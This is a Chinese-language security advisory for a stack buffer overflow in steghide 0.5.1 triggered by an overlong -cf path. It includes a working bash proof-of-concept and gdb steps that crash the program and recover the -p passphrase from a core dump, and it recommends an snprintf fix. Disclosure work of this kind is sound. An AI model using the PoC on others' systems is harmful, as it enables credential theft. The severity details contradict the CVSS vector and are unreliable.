| 字段 | 值 |
|---|---|
| 目标应用 | Steghide(Linux 二进制程序) |
| 受影响版本 | 0.5.1(已确认);早期版本也可能受影响 |
| 漏洞类型 | 基于栈的缓冲区溢出(CWE-121) |
| 影响 | 拒绝服务(DoS)、信息泄露 |
| 测试环境 | Kali Linux |
| 披露日期 | 2026年1月16日 |
| 作者 | Erik Dervishi |
| 软件链接 | https://salsa.debian.org/pkg-security-team/steghide |
| CVSS v3.1 评分 | 5.5(中危) |
| CVSS 向量 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
严重性说明:
中危评分反映该漏洞可被可靠地本地利用,既会引发拒绝服务,又会通过核心转储泄露敏感凭据。
在 steghide 命令行工具(版本 0.5.1)中发现了一个基于栈的缓冲区溢出漏洞。当向 -cf(载体文件)参数传递过长的文件路径时,即会触发该漏洞。
尽管该应用在编译时启用了栈粉碎保护(SSP/Canary),可以通过终止进程来成功阻止直接的任意代码执行(RCE),但这种防御机制却带来了第二个漏洞:信息泄露。
分析证实,在崩溃发生时,敏感的运行时数据——尤其是通过 -p 参数传递的口令——仍暴露在进程的栈内存中。在配置为保留核心转储的系统上(这在开发环境、CI/CD 或配置不当的生产服务器中很常见),这些敏感数据会以明文形式写入磁盘,使攻击者能够恢复凭据。
要成功利用该漏洞实现信息泄露,必须满足以下条件:
本地访问: 攻击者必须能够本地访问系统,或能够向 steghide 二进制程序传递参数(例如通过 Web Shell 或包装脚本)。
启用核心转储: 目标环境必须配置为生成核心转储(例如 ulimit -c unlimited 或 fs.suid_dumpable=1),并将其写入攻击者可访问的位置。
内存中的凭据: 受害者必须使用 -p(口令)参数执行该命令。
该漏洞存在于 src/Embedder.cc 中。应用在通过 sprintf 将文件名格式化到固定大小的缓冲区之前,未对文件名字符串的长度进行边界检查。
易受攻击的代码片段:
// src/Embedder.cc
char buf[200];
// Unsafe usage of sprintf without length validation
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
如果字符串的组合长度超过 200 字节,sprintf 会越过 buf 的末尾继续写入,从而破坏栈。
该二进制程序使用 GCC 的 Stack Protector 编译。
由于 __stack_chk_fail 会立即调用 abort(),进程会骤然终止。在现代化的 Linux 系统(例如使用 systemd-coredump)上,这种快速终止有时会导致核心转储被丢弃或被截断,除非系统明确配置为强制生成转储。
以下 bash 脚本会配置环境以强制生成物理核心转储,并提取密码。
前提条件: 确保 ulimit 已设置,并且核心转储模式(core pattern)指向某个文件(设置时需要 root 权限,但漏洞利用以普通用户身份运行)。
# Setup (Run once as root/sudo to ensure visibility):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern
文件:poc.sh
#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh
# 1. Enable core dumps for this session
ulimit -c unlimited
# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF Header + WAVEfmt + PCM Audio + Data Chunk
# We provide a valid header so execution reaches the vulnerable Embedder.cc logic
header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
header += b'data' + struct.pack('<I', 49964)
f.write(header + b'\x00' * 49964)
"
# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt
# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] Dump found: $CORE_FILE"
# Search for the password string inside the binary dump
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi
使用 GDB(配合 Pwndbg 扩展)手动验证内存状态。
复现步骤:
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
pwndbg> run
pwndbg> search "MY_SECRET_PASS"
观察到的输出:
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
结论: 在崩溃发生时,敏感字符串 MY_SECRET_PASS 仍同时存在于堆(Heap)和栈(Stack)内存段中,证实了信息泄露这一攻击途径。
机密性(高):
可用性(高):
完整性(低):
// Recommended Fix
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);